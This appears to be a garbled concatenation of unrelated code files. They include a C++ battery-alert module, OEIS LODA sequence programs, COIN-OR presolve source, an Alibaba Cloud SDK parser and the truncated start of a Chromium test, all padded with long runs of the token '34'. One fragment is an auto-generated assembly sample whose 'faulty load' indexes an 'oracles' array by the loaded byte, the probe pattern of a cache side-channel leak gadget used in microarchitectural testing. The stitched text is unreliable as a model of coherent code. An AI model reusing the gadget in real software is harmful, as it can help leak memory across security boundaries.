34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
#include "typewise-alert.h" #include "map_alertTarget.h" #include <stdio.h> BreachType inferBreach(double value, double lowerLimit, double upperLimit) { if (value < lowerLimit) { return TOO_LOW; } if (value > upperLimit) { return TOO_HIGH; } return NORMAL; } BreachType classifyTemperatureBreach( CoolingType coolingType, double temperatureInC) { int lowerLimit = 0; int upperLimit = 0; lowerLimit = classifyTempBreachMap.find(coolingType)->second.first; upperLimit = classifyTempBreachMap.find(coolingType)->second.second; return inferBreach(temperatureInC, lowerLimit, upperLimit); } bool checkAndAlert( AlertTarget alertTarget, BatteryCharacter batteryChar, double temperatureInC) { BreachType breachType = classifyTemperatureBreach( batteryChar.coolingType, temperatureInC); pfun f = alertTargetMsg.find(alertTarget)->second; return ((*f)(breachType)); } bool sendToController(BreachType breachType) { const unsigned short header = 0xfeed; printf("%x : %x\n", header, breachType); return true; } bool sendToEmail(BreachType breachType) { const char *recepient = "a.b@c.com"; if (sendToEmailMap.find(breachType)->first < (static_cast<BreachType>(3))) { cout << "To: " << recepient << " " << sendToEmailMap.find(breachType)->second << "\n"; return true; } else { return false; } }
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r15 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x12880, %rsi lea addresses_WT_ht+0x8e5a, %rdi nop nop nop sub $56657, %r13 mov $119, %rcx rep movsb inc %r15 lea addresses_WT_ht+0xf0ba, %rax nop nop cmp %r9, %r9 movb (%rax), %r13b nop nop nop nop add %r15, %r15 lea addresses_WC_ht+0x14eba, %rsi lea addresses_WT_ht+0xb2ba, %rdi nop nop xor %r11, %r11 mov $86, %rcx rep movsq nop nop nop nop nop sub $52878, %r13 lea addresses_WC_ht+0xacba, %r9 nop nop inc %rax movw $0x6162, (%r9) sub $46162, %r9 lea addresses_normal_ht+0x1ee9a, %rsi nop xor %rax, %rax mov (%rsi), %cx nop nop nop cmp $45339, %r9 lea addresses_normal_ht+0x1a83a, %rsi lea addresses_normal_ht+0xaba, %rdi nop add %r15, %r15 mov $77, %rcx rep movsl nop cmp %rsi, %rsi lea addresses_A_ht+0x1e2ba, %rsi lea addresses_UC_ht+0x10aba, %rdi nop nop nop sub %r15, %r15 mov $107, %rcx rep movsl nop sub %r9, %r9 lea addresses_normal_ht+0x853a, %rdi clflush (%rdi) nop add $47134, %r11 mov (%rdi), %si nop nop dec %rsi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %r9 push %rax push %rcx push %rdx push %rsi // Store lea addresses_normal+0xf2ba, %r14 nop add $28453, %rcx movw $0x5152, (%r14) sub $35039, %rcx // Faulty Load lea addresses_normal+0xd2ba, %rsi nop nop nop nop and $43718, %r9 mov (%rsi), %cx lea oracles, %rax and $0xff, %rcx shlq $12, %rcx mov (%rax,%rcx,1), %rcx pop %rsi pop %rdx pop %rcx pop %rax pop %r9 pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 11}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': True, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': True, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 9}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_A_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
; A063957: Numbers not of the form round(m*sqrt(2)) for any integer m, i.e., complement of A022846. ; Submitted by Jamie Morken(s4) ; 2,5,9,12,15,19,22,26,29,32,36,39,43,46,50,53,56,60,63,67,70,73,77,80,84,87,90,94,97,101,104,108,111,114,118,121,125,128,131,135,138,142,145,149,152,155,159,162,166,169,172,176,179,183,186,189,193,196,200,203,207,210,213,217,220,224,227,230,234,237,241,244,248,251,254,258,261,265,268,271,275,278,282,285,289,292,295,299,302,306,309,312,316,319,323,326,329,333,336,340 mul $0,2 seq $0,1952 ; A Beatty sequence: a(n) = floor(n*(2 + sqrt(2))). add $0,1 div $0,2
.text lui $t0,0xffff lui $t1,1 lui $t2,0x7f7f lui $t3,0xa01a
/* $Id: CoinPresolveMatrix.cpp 2083 2019-01-06 19:38:09Z unxusr $ */ // Copyright (C) 2002, International Business Machines // Corporation and others. All Rights Reserved. // This code is licensed under the terms of the Eclipse Public License (EPL). #include <stdio.h> #include <cassert> #include <iostream> #include "CoinHelperFunctions.hpp" #include "CoinPresolveMatrix.hpp" #include "CoinTime.hpp" /*! \file This file contains methods for CoinPresolveMatrix, the object used during presolve transformations. */ /* Constructor and destructor for CoinPresolveMatrix. */ /* CoinPresolveMatrix constructor The constructor does very little, for much the same reasons that the CoinPrePostsolveMatrix constructor does little. Might as well wait until we load a matrix. In general, for presolve the allocated size can be equal to the size of the constraint matrix before presolve transforms are applied. (Presolve transforms are assumed to reduce the size of the constraint system.) But we need to keep the *_alloc parameters for compatibility with CoinPrePostsolveMatrix. */ CoinPresolveMatrix::CoinPresolveMatrix(int ncols_alloc, int nrows_alloc, CoinBigIndex nelems_alloc) : CoinPrePostsolveMatrix(ncols_alloc, nrows_alloc, nelems_alloc) , clink_(0) , rlink_(0) , dobias_(0.0) , mrstrt_(0) , hinrow_(0) , rowels_(0) , hcol_(0) , integerType_(0) , anyInteger_(false) , tuning_(false) , startTime_(0.0) , feasibilityTolerance_(0.0) , status_(-1) , pass_(0) , maxSubstLevel_(3) , colChanged_(0) , colsToDo_(0) , numberColsToDo_(0) , nextColsToDo_(0) , numberNextColsToDo_(0) , rowChanged_(0) , rowsToDo_(0) , numberRowsToDo_(0) , nextRowsToDo_(0) , numberNextRowsToDo_(0) , presolveOptions_(0) , anyProhibited_(false) , usefulRowInt_(NULL) , usefulRowDouble_(NULL) , usefulColumnInt_(NULL) , usefulColumnDouble_(NULL) , randomNumber_(NULL) , infiniteUp_(NULL) , sumUp_(NULL) , infiniteDown_(NULL) , sumDown_(NULL) { /* nothing to do here */ return; } /* CoinPresolveMatrix destructor. */ CoinPresolveMatrix::~CoinPresolveMatrix() { delete[] clink_; delete[] rlink_; delete[] mrstrt_; delete[] hinrow_; delete[] rowels_; delete[] hcol_; delete[] integerType_; delete[] rowChanged_; delete[] rowsToDo_; delete[] nextRowsToDo_; delete[] colChanged_; delete[] colsToDo_; delete[] nextColsToDo_; delete[] usefulRowInt_; delete[] usefulRowDouble_; delete[] usefulColumnInt_; delete[] usefulColumnDouble_; delete[] randomNumber_; delete[] infiniteUp_; delete[] sumUp_; delete[] infiniteDown_; delete[] sumDown_; return; } /* This routine loads a CoinPackedMatrix and proceeds to do the bulk of the initialisation for the PrePostsolve and Presolve objects. In the CoinPrePostsolveMatrix portion of the object, it initialises the column-major packed matrix representation and the arrays that track the motion of original columns and rows. In the CoinPresolveMatrix portion of the object, it initialises the row-major packed matrix representation, the arrays that assist in matrix storage management, and the arrays that track the rows and columns to be processed. Arrays are allocated to the requested size (ncols0_, nrow0_, nelems0_). The source matrix must be column ordered; it does not need to be gap-free. Bulk storage in the column-major (hrow_, colels_) and row-major (hcol_, rowels_) matrices is allocated at twice the required size so that we can expand columns and rows as needed. This is almost certainly grossly oversize, but (1) it's efficient, and (2) the utility routines which compact the bulk storage areas have no provision to reallocate. */ void CoinPresolveMatrix::setMatrix(const CoinPackedMatrix *mtx) { /* Check to make sure the matrix will fit and is column ordered. */ if (mtx->isColOrdered() == false) { throw CoinError("source matrix must be column ordered", "setMatrix", "CoinPrePostsolveMatrix"); } int numCols = mtx->getNumCols(); if (numCols > ncols0_) { throw CoinError("source matrix exceeds allocated capacity", "setMatrix", "CoinPrePostsolveMatrix"); } /* Acquire the actual size, but allocate the matrix storage to the requested capacity. The column-major rep is part of the PrePostsolve object, the row-major rep belongs to the Presolve object. */ ncols_ = numCols; nrows_ = mtx->getNumRows(); nelems_ = mtx->getNumElements(); bulk0_ = static_cast< CoinBigIndex >(bulkRatio_ * nelems0_); if (mcstrt_ == 0) mcstrt_ = new CoinBigIndex[ncols0_ + 1]; if (hincol_ == 0) hincol_ = new int[ncols0_ + 1]; if (hrow_ == 0) hrow_ = new int[bulk0_]; if (colels_ == 0) colels_ = new double[bulk0_]; if (mrstrt_ == 0) mrstrt_ = new CoinBigIndex[nrows0_ + 1]; if (hinrow_ == 0) hinrow_ = new int[nrows0_ + 1]; if (hcol_ == 0) hcol_ = new int[bulk0_]; if (rowels_ == 0) rowels_ = new double[bulk0_]; /* Grab the corresponding vectors from the source matrix. */ const CoinBigIndex *src_mcstrt = mtx->getVectorStarts(); const int *src_hincol = mtx->getVectorLengths(); const double *src_colels = mtx->getElements(); const int *src_hrow = mtx->getIndices(); /* Bulk copy the column starts and lengths. */ CoinMemcpyN(src_mcstrt, mtx->getSizeVectorStarts(), mcstrt_); CoinMemcpyN(src_hincol, mtx->getSizeVectorLengths(), hincol_); /* Copy the coefficients column by column in case there are gaps between the columns in the bulk storage area. The assert is just in case the gaps are *really* big. */ assert(src_mcstrt[ncols_] <= bulk0_); int j; for (j = 0; j < numCols; j++) { int lenj = src_hincol[j]; CoinBigIndex offset = mcstrt_[j]; CoinMemcpyN(src_colels + offset, lenj, colels_ + offset); CoinMemcpyN(src_hrow + offset, lenj, hrow_ + offset); } /* Now make a row-major copy. Start by counting the number of coefficients in each row; we can do this directly in hinrow. Given the number of coefficients in a row, we know how to lay out the bulk storage area. */ CoinZeroN(hinrow_, nrows0_ + 1); for (j = 0; j < ncols_; j++) { int *rowIndices = hrow_ + mcstrt_[j]; int lenj = hincol_[j]; for (int k = 0; k < lenj; k++) { int i = rowIndices[k]; hinrow_[i]++; } } /* Initialize mrstrt[i] to the start of row i+1. As we drop each coefficient and column index into the bulk storage arrays, we'll decrement and store. When we're done, mrstrt[i] will point to the start of row i, as it should. */ int totalCoeffs = 0; int i; for (i = 0; i < nrows_; i++) { totalCoeffs += hinrow_[i]; mrstrt_[i] = totalCoeffs; } mrstrt_[nrows_] = totalCoeffs; for (j = ncols_ - 1; j >= 0; j--) { int lenj = hincol_[j]; double *colCoeffs = colels_ + mcstrt_[j]; int *rowIndices = hrow_ + mcstrt_[j]; for (int k = 0; k < lenj; k++) { int ri; ri = rowIndices[k]; double aij = colCoeffs[k]; CoinBigIndex l = --mrstrt_[ri]; rowels_[l] = aij; hcol_[l] = j; } } /* Now the support structures. The entry for original column j should start out as j; similarly for row i. originalColumn_ and originalRow_ belong to the PrePostsolve object. */ if (originalColumn_ == 0) originalColumn_ = new int[ncols0_]; if (originalRow_ == 0) originalRow_ = new int[nrows0_]; for (j = 0; j < ncols0_; j++) originalColumn_[j] = j; for (i = 0; i < nrows0_; i++) originalRow_[i] = i; /* We have help to set up the clink_ and rlink_ vectors (aids for matrix bulk storage management). clink_ and rlink_ belong to the Presolve object. Once this is done, it's safe to set mrstrt_[nrows_] and mcstrt_[ncols_] to the full size of the bulk storage area. */ if (clink_ == 0) clink_ = new presolvehlink[ncols0_ + 1]; if (rlink_ == 0) rlink_ = new presolvehlink[nrows0_ + 1]; presolve_make_memlists(/*mcstrt_,*/ hincol_, clink_, ncols_); presolve_make_memlists(/*mrstrt_,*/ hinrow_, rlink_, nrows_); mcstrt_[ncols_] = bulk0_; mrstrt_[nrows_] = bulk0_; /* No rows or columns have been changed just yet. colChanged_ and rowChanged_ belong to the Presolve object. */ if (colChanged_ == 0) colChanged_ = new unsigned char[ncols0_]; CoinZeroN(colChanged_, ncols0_); if (rowChanged_ == 0) rowChanged_ = new unsigned char[nrows0_]; CoinZeroN(rowChanged_, nrows0_); /* Finally, allocate the various *ToDo arrays. These are used to track the rows and columns which should be processed in a given round of presolve transforms. These belong to the Presolve object. Setting number*ToDo to 0 is all the initialization that's required here. */ rowsToDo_ = new int[nrows0_]; numberRowsToDo_ = 0; nextRowsToDo_ = new int[nrows0_]; numberNextRowsToDo_ = 0; colsToDo_ = new int[ncols0_]; numberColsToDo_ = 0; nextColsToDo_ = new int[ncols0_]; numberNextColsToDo_ = 0; initializeStuff(); return; } /* Recompute ups and downs for a row (nonzero if infeasible). If oneRow == -1 then do all rows. */ int CoinPresolveMatrix::recomputeSums(int oneRow) { const int &numberRows = nrows_; const int &numberColumns = ncols_; const double *const columnLower = clo_; const double *const columnUpper = cup_; double *const rowLower = rlo_; double *const rowUpper = rup_; const double *element = rowels_; const int *column = hcol_; const CoinBigIndex *rowStart = mrstrt_; const int *rowLength = hinrow_; const double large = PRESOLVE_SMALL_INF; const double &tolerance = feasibilityTolerance_; const int iFirst = ((oneRow >= 0) ? oneRow : 0); const int iLast = ((oneRow >= 0) ? oneRow : numberRows); /* Open a loop to process rows of interest. */ int infeasible = 0; for (int iRow = iFirst; iRow < iLast; iRow++) { infiniteUp_[iRow] = 0; sumUp_[iRow] = 0.0; infiniteDown_[iRow] = 0; sumDown_[iRow] = 0.0; /* Compute finite and infinite contributions to row lhs upper and lower bounds for nonempty rows with at least one reasonable bound. */ if ((rowLower[iRow] > -large || rowUpper[iRow] < large) && rowLength[iRow] > 0) { int infiniteUpper = 0; int infiniteLower = 0; double maximumUp = 0.0; double maximumDown = 0.0; const CoinBigIndex &rStart = rowStart[iRow]; const CoinBigIndex rEnd = rStart + rowLength[iRow]; for (CoinBigIndex j = rStart; j < rEnd; ++j) { const double &value = element[j]; const int &iColumn = column[j]; const double &lj = columnLower[iColumn]; const double &uj = columnUpper[iColumn]; if (value > 0.0) { if (uj < large) maximumUp += uj * value; else ++infiniteUpper; if (lj > -large) maximumDown += lj * value; else ++infiniteLower; } else if (value < 0.0) { if (uj < large) maximumDown += uj * value; else ++infiniteLower; if (lj > -large) maximumUp += lj * value; else ++infiniteUpper; } } infiniteUp_[iRow] = infiniteUpper; sumUp_[iRow] = maximumUp; infiniteDown_[iRow] = infiniteLower; sumDown_[iRow] = maximumDown; double maxUp = maximumUp + infiniteUpper * large; double maxDown = maximumDown - infiniteLower * large; /* Check for redundant or infeasible row. */ if (maxUp <= rowUpper[iRow] + tolerance && maxDown >= rowLower[iRow] - tolerance) { infiniteUp_[iRow] = numberColumns + 1; infiniteDown_[iRow] = numberColumns + 1; } else if (maxUp < rowLower[iRow] - tolerance) { infeasible++; } else if (maxDown > rowUpper[iRow] + tolerance) { infeasible++; } } else if (rowLength[iRow] > 0) { /* A row where both rhs bounds are very large. Mark as redundant. */ assert(rowLower[iRow] <= -large && rowUpper[iRow] >= large); infiniteUp_[iRow] = numberColumns + 1; infiniteDown_[iRow] = numberColumns + 1; } else { /* Row with length zero. Check the the rhs bounds include zero and force `near-to-zero' to exactly zero. */ assert(rowLength[iRow] == 0); if (rowLower[iRow] > 0.0 || rowUpper[iRow] < 0.0) { double tolerance2 = 10.0 * tolerance; if (rowLower[iRow] > 0.0 && rowLower[iRow] < tolerance2) rowLower[iRow] = 0.0; else infeasible++; if (rowUpper[iRow] < 0.0 && rowUpper[iRow] > -tolerance2) rowUpper[iRow] = 0.0; else infeasible++; } } } return (infeasible); } /* Preallocate scratch work arrays, arrays to hold row lhs bound information, and an array of random numbers. */ void CoinPresolveMatrix::initializeStuff() { usefulRowInt_ = new int[3 * nrows_]; usefulRowDouble_ = new double[2 * nrows_]; usefulColumnInt_ = new int[2 * ncols_]; usefulColumnDouble_ = new double[2 * ncols_]; int k = CoinMax(ncols_ + 1, nrows_ + 1); randomNumber_ = new double[k]; coin_init_random_vec(randomNumber_, k); infiniteUp_ = new int[nrows_]; sumUp_ = new double[nrows_]; infiniteDown_ = new int[nrows_]; sumDown_ = new double[nrows_]; return; } /* Free arrays allocated in initializeStuff. */ void CoinPresolveMatrix::deleteStuff() { delete[] usefulRowInt_; delete[] usefulRowDouble_; delete[] usefulColumnInt_; delete[] usefulColumnDouble_; delete[] randomNumber_; delete[] infiniteUp_; delete[] sumUp_; delete[] infiniteDown_; delete[] sumDown_; usefulRowInt_ = NULL; usefulRowDouble_ = NULL; usefulColumnInt_ = NULL; usefulColumnDouble_ = NULL; randomNumber_ = NULL; infiniteUp_ = NULL; sumUp_ = NULL; infiniteDown_ = NULL; sumDown_ = NULL; } /* These functions set integer type information. The first expects an array with an entry for each variable. The second sets all variables to integer or continuous type. */ void CoinPresolveMatrix::setVariableType(const unsigned char *variableType, int lenParam) { int len; if (lenParam < 0) { len = ncols_; } else if (lenParam > ncols0_) { throw CoinError("length exceeds allocated size", "setIntegerType", "CoinPresolveMatrix"); } else { len = lenParam; } if (integerType_ == 0) integerType_ = new unsigned char[ncols0_]; CoinCopyN(variableType, len, integerType_); return; } void CoinPresolveMatrix::setVariableType(bool allIntegers, int lenParam) { int len; if (lenParam < 0) { len = ncols_; } else if (lenParam > ncols0_) { throw CoinError("length exceeds allocated size", "setIntegerType", "CoinPresolveMatrix"); } else { len = lenParam; } if (integerType_ == 0) integerType_ = new unsigned char[ncols0_]; const unsigned char value = 1; if (allIntegers == true) { CoinFillN(integerType_, len, value); } else { CoinZeroN(integerType_, len); } return; } /* The next pair of routines initialises the [row,col]ToDo lists in preparation for a major pass. All except rows/columns marked as prohibited are added to the lists. */ void CoinPresolveMatrix::initColsToDo() /* Initialize the ToDo lists in preparation for a major iteration of preprocessing. First, cut back the ToDo and NextToDo lists to zero entries. Then place all columns not marked prohibited on the ToDo list. */ { int j; numberNextColsToDo_ = 0; if (anyProhibited_ == false) { for (j = 0; j < ncols_; j++) { colsToDo_[j] = j; } numberColsToDo_ = ncols_; } else { numberColsToDo_ = 0; for (j = 0; j < ncols_; j++) if (colProhibited(j) == false) { colsToDo_[numberColsToDo_++] = j; } } return; } void CoinPresolveMatrix::initRowsToDo() /* Initialize the ToDo lists in preparation for a major iteration of preprocessing. First, cut back the ToDo and NextToDo lists to zero entries. Then place all rows not marked prohibited on the ToDo list. */ { int i; numberNextRowsToDo_ = 0; if (anyProhibited_ == false) { for (i = 0; i < nrows_; i++) { rowsToDo_[i] = i; } numberRowsToDo_ = nrows_; } else { numberRowsToDo_ = 0; for (i = 0; i < nrows_; i++) if (rowProhibited(i) == false) { rowsToDo_[numberRowsToDo_++] = i; } } return; } int CoinPresolveMatrix::stepColsToDo() /* This routine transfers the contents of NextToDo to ToDo, simultaneously resetting the Changed indicator. It returns the number of columns transfered. */ { int k; for (k = 0; k < numberNextColsToDo_; k++) { int j = nextColsToDo_[k]; unsetColChanged(j); colsToDo_[k] = j; } numberColsToDo_ = numberNextColsToDo_; numberNextColsToDo_ = 0; return (numberColsToDo_); } int CoinPresolveMatrix::stepRowsToDo() /* This routine transfers the contents of NextToDo to ToDo, simultaneously resetting the Changed indicator. It returns the number of columns transfered. */ { int k; for (k = 0; k < numberNextRowsToDo_; k++) { int i = nextRowsToDo_[k]; unsetRowChanged(i); rowsToDo_[k] = i; } numberRowsToDo_ = numberNextRowsToDo_; numberNextRowsToDo_ = 0; return (numberRowsToDo_); } // Say we want statistics - also set time void CoinPresolveMatrix::statistics() { tuning_ = true; startTime_ = CoinCpuTime(); } #ifdef PRESOLVE_DEBUG #include "CoinPresolvePsdebug.cpp" #endif /* vi: softtabstop=2 shiftwidth=2 expandtab tabstop=2 */
g(): # @g() push rax call qword ptr [rip + _ZN3foo3bazE+8] xor eax, eax pop rcx ret
/* * Copyright 2009-2017 Alibaba Cloud All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <alibabacloud/rsimganalys/model/DeleteTaskResult.h> #include <json/json.h> using namespace AlibabaCloud::Rsimganalys; using namespace AlibabaCloud::Rsimganalys::Model; DeleteTaskResult::DeleteTaskResult() : ServiceResult() {} DeleteTaskResult::DeleteTaskResult(const std::string &payload) : ServiceResult() { parse(payload); } DeleteTaskResult::~DeleteTaskResult() {} void DeleteTaskResult::parse(const std::string &payload) { Json::Reader reader; Json::Value value; reader.parse(payload, value); setRequestId(value["RequestId"].asString()); if(!value["ResultCode"].isNull()) resultCode_ = std::stoi(value["ResultCode"].asString()); if(!value["ResultMessage"].isNull()) resultMessage_ = value["ResultMessage"].asString(); if(!value["Data"].isNull()) data_ = value["Data"].asString() == "true"; } bool DeleteTaskResult::getData()const { return data_; } std::string DeleteTaskResult::getResultMessage()const { return resultMessage_; } int DeleteTaskResult::getResultCode()const { return resultCode_; }
; A249310: Expansion of x*(1+7*x-6*x^3)/(1-8*x^2+6*x^4). ; Submitted by Jamie Morken(s3) ; 1,7,8,50,58,358,416,2564,2980,18364,21344,131528,152872,942040,1094912,6747152,7842064,48324976,56167040,346116896,402283936,2478985312,2881269248,17755181120,20636450368,127167537088,147803987456,910809209984,1058613197440,6523468457344,7582081654784,46722892398848,54304974053632,334642328446720,388947302500352,2396801273180672,2785748575681024,17166556214765056,19952304790446080,122951642079036416,142903946869482496,880613799343700992,1023517746213183488,6307200542275389440 add $0,1 mov $2,1 lpb $0 sub $0,2 add $1,$2 mul $2,6 add $2,$1 lpe lpb $0 div $0,4 add $2,$1 lpe mov $0,$2
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ash/system/power/peripheral_battery_listener.h" #include <memory> #include <ostream> #include <string> #include "ash/shell.h" #include "ash/system/power/peripheral_battery_tests.h" #include "ash/test/ash_test_base.h" #include "base/scoped_observation.h" #include "base/strings/string_number_conversions.h" #include "base/strings/string_piece.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "base/test/task_environment.h" #include "chromeos/dbus/power/fake_power_manager_client.h" #include "device/bluetooth/bluetooth_device.h" #include "device/bluetooth/test/mock_bluetooth_adapter.h" #include "device/bluetooth/test/mock_bluetooth_device.h" #include "testing/gmock/include/gmock/gmock.h" #include "third_party/abseil-cpp/absl/types/optional.h" #include "ui/events/devices/device_data_manager.h" #include "ui/events/devices/device_data_manager_test_api.h" #include "ui/events/devices/touchscreen_device.h" #include "ui/message_center/public/cpp/notification.h" using testing::_; using testing::AllOf; using testing::AnyNumber; using testing::Eq; using testing::Expectation; using testing::Field; using testing::Ge; using testing::Gt; using testing::InSequence; using testing::Le; using testing::Lt; using testing::NiceMock; using testing::Optional; using testing::Sequence; using testing::StrictMock; using BI = ash::PeripheralBatteryListener::BatteryInfo; // Annotate testing::Field invocations to improve feedback. #define AFIELD(element, test) testing::Field(#element, element, test) namespace { class MockPeripheralBatteryObserver : public ash::PeripheralBatteryListener::Observer { public: MockPeripheralBatteryObserver() {} // ash::PeripheralBatteryListener::Observer: MOCK_METHOD(void, OnAddingBattery, (const ash::PeripheralBatteryListener::BatteryInfo& battery)); MOCK_METHOD(void, OnRemovingBattery, (const ash::PeripheralBatteryListener::BatteryInfo& battery)); MOCK_METHOD(void, OnUpdatedBatteryLevel, (const ash::PeripheralBatteryListener::BatteryInfo& battery)); }; } // namespace namespace ash { class PeripheralBatteryListenerTest : public AshTestBase { public: // Constants for active field of PeripheralBatteryStylusReceived(). const bool kBluetoothBatteryUpdate = true; const bool 